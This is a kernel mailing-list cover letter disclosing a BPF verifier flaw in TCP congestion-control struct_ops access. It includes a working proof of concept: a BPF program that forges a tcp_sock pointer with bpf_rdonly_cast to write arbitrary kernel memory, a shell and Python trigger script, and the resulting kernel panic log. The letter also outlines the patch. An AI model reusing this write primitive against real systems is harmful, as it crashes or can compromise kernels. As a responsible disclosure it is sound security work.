From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: davem@davemloft.net, edumazet@kernel.org, pabeni@redhat.com,
horms@kernel.org, zhilinz@nebusec.ai, martin.lau@kernel.org,
kafai.wan@linux.dev, yhs@fb.com, ast@kernel.org, vega@nebusec.ai
Subject: [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access
Date: Wed, 14 Oct 2026 19:57:56 +0800 [thread overview]
Message-ID: <cover.1791978740.git.zhilinz@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/bpf_tcp_ca.c. A root user
with the capabilities required for BPF struct_ops can load a TCP
congestion-control program that writes through a forged tcp_sock pointer.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
bpf_rdonly_cast() returns a BTF pointer with PTR_UNTRUSTED. Generic BPF
store verification delegates writes through BTF pointers to the program
type's btf_struct_access callback. bpf_tcp_ca_btf_struct_access() checks
the BTF type and allowlisted member offset, but does not reject unsafe
pointer modifiers.
A BPF TCP struct_ops program can therefore cast a scalar address to a
struct tcp_sock pointer and write through an allowed member such as
sk_pacing_rate. The PoC biases the fake base so the store targets address
0x1000; the supplied KASAN log shows the resulting kernel-mode write
fault in the struct_ops init callback.
Reject pointers with unsafe modifiers before validating their BTF type
and member offset. Trusted struct_ops context pointers retain the
existing write access to the permitted TCP fields.
Reproducer:
./poc.sh
The supplied poc.bpf.o is used by the script. It requires bpftool and
Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB QEMU guest.
------BEGIN poc.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_kfuncs.h"
char LICENSE[] SEC("license") = "GPL";
#define TARGET_ADDR 0x1000UL
#define WRITE_VALUE 0x4141414141414141UL
SEC("struct_ops/init")
void BPF_PROG(poc_init, struct sock *sk)
{
unsigned long base;
struct sock *fake;
base = TARGET_ADDR - __builtin_offsetof(struct sock, sk_pacing_rate);
fake = bpf_rdonly_cast((const void *)base,
bpf_core_type_id_kernel(struct tcp_sock));
fake->sk_pacing_rate = WRITE_VALUE;
}
SEC("struct_ops/cong_avoid")
void BPF_PROG(poc_cong_avoid, struct sock *sk, u32 ack, u32 acked)
{
}
SEC("struct_ops/ssthresh")
u32 BPF_PROG(poc_ssthresh, struct sock *sk)
{
return 0;
}
SEC("struct_ops/undo_cwnd")
u32 BPF_PROG(poc_undo_cwnd, struct sock *sk)
{
return 0;
}
SEC(".struct_ops")
struct tcp_congestion_ops poc_ca = {
.init = (void *)poc_init,
.cong_avoid = (void *)poc_cong_avoid,
.ssthresh = (void *)poc_ssthresh,
.undo_cwnd = (void *)poc_undo_cwnd,
.name = "k9v_poc",
};
------END poc.bpf.c--------
------BEGIN bpf_kfuncs.h------
#ifndef __POC_BPF_KFUNCS_H
#define __POC_BPF_KFUNCS_H
extern void *bpf_rdonly_cast(const void *obj, __u32 btf_id) __ksym __weak;
#endif
------END bpf_kfuncs.h--------
------BEGIN poc.sh------
#!/bin/sh
set -eux
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
if [ ! -f poc.bpf.o ]; then
if command -v clang >/dev/null 2>&1; then
make clean
make
else
echo "missing poc.bpf.o and no clang available to rebuild it" >&2
exit 1
fi
fi
bpftool struct_ops register ./poc.bpf.o
python3 - <<'PY'
import socket
import threading
import time
ALG = b"k9v_poc"
ready = threading.Event()
port_box = {}
def server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 0))
port_box["port"] = srv.getsockname()[1]
srv.listen(1)
ready.set()
conn, _ = srv.accept()
time.sleep(5)
conn.close()
srv.close()
threading.Thread(target=server, daemon=True).start()
ready.wait()
cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cli.connect(("127.0.0.1", port_box["port"]))
cli.setsockopt(socket.IPPROTO_TCP, socket.TCP_CONGESTION, ALG)
PY
------END poc.sh--------
----BEGIN crash log----
[ 900.010015][T10750] BUG: unable to handle page fault for address: 0000000000001000
[ 900.010735][T10750] #PF: supervisor write access in kernel mode
[ 900.011201][T10750] #PF: error_code(0x0002) - not-present page
[ 900.011675][T10750] PGD 10f17b067 P4D 10f17b067 PUD 1121c2067 PMD 0
[ 900.012209][T10750] Oops: Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI
[ 900.012693][T10750] CPU: 2 UID: 0 PID: 10750 Comm: python3 Not tainted 6.12.95 #2
[ 900.013186][T10750] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 900.013972][T10750] RIP: 0010:bpf_prog_861704879f83f62f_poc_init+0x2b/0x38
[ 900.014455][T10750] Code: 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 48 89 e5 f3 0f 1e fa bf 90 0c 00 00 be 85 ab 00 00 48 89 f8 48 bf 41 41 41 41 41 41 41 41 <48> 89 b8 70 03 00 00 c9 e9 4b 5e 6f ea cc cc cc cc cc cc cc cc cc
[ 900.015700][T10750] RSP: 0018:ffffc900066dfb58 EFLAGS: 00010202
[ 900.016102][T10750] RAX: 0000000000000c90 RBX: 0000000000000001 RCX: 0000000000000000
[ 900.016617][T10750] RDX: 1ffff92000cdbf6e RSI: 000000000000ab85 RDI: 4141414141414141
[ 900.017128][T10750] RBP: ffffc900066dfb58 R08: 0000000000000000 R09: fffffbfff2c69990
[ 900.017641][T10750] R10: ffffffff9634cc87 R11: 0000000000000002 R12: ffff88810b72a278
[ 900.018210][T10750] R13: ffff88801d8fc340 R14: ffff88810b72a278 R15: ffff88810b72a2a8
[ 900.018843][T10750] FS: 00007f2b2a2d8780(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[ 900.019539][T10750] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 900.020009][T10750] CR2: 0000000000001000 CR3: 000000007cca4000 CR4: 0000000000750ef0
[ 900.020633][T10750] PKRU: 55555554
[ 900.020913][T10750] Call Trace:
[ 900.021183][T10750] <TASK>
[ 900.021434][T10750] bpf__tcp_congestion_ops_init+0x47/0xa7
[ 900.021880][T10750] tcp_init_congestion_control+0xa7/0x3b0
[ 900.022412][T10750] tcp_set_congestion_control+0x6a9/0x7c0
[ 900.022838][T10750] do_tcp_setsockopt+0x5c0/0x2170
[ 900.023230][T10750] ? __pfx_do_tcp_setsockopt+0x10/0x10
[ 900.023579][T10750] ? __pfx___might_resched+0x10/0x10
[ 900.024056][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.024523][T10750] ? aa_sk_perm+0x1d8/0x8d0
[ 900.024956][T10750] ? __pfx___lock_acquire+0x10/0x10
[ 900.025389][T10750] ? __pfx_aa_sk_perm+0x10/0x10
[ 900.025777][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026212][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026662][T10750] ? find_held_lock+0x2d/0x110
[ 900.027002][T10750] do_sock_setsockopt+0x1b8/0x3b0
[ 900.046958][T10750] Kernel panic - not syncing: Fatal exception
[ 900.047768][T10750] Kernel Offset: disabled
[ 900.048106][T10750] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
bpf: reject unsafe pointers in TCP congestion control access
net/ipv4/bpf_tcp_ca.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.55.0
next reply other threads:[~2026-10-14 11:58 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-14 11:57 Zhiling Zou [this message]
2026-10-14 11:57 ` [PATCH net 1/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
2026-10-15 11:58 ` sashiko-bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1791978740.git.zhilinz@nebusec.ai \
--to=zhilinz@nebusec.ai \
--cc=ast@kernel.org \
--cc=bpf@vger.kernel.org \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=kafai.wan@linux.dev \
--cc=martin.lau@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=yhs@fb.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox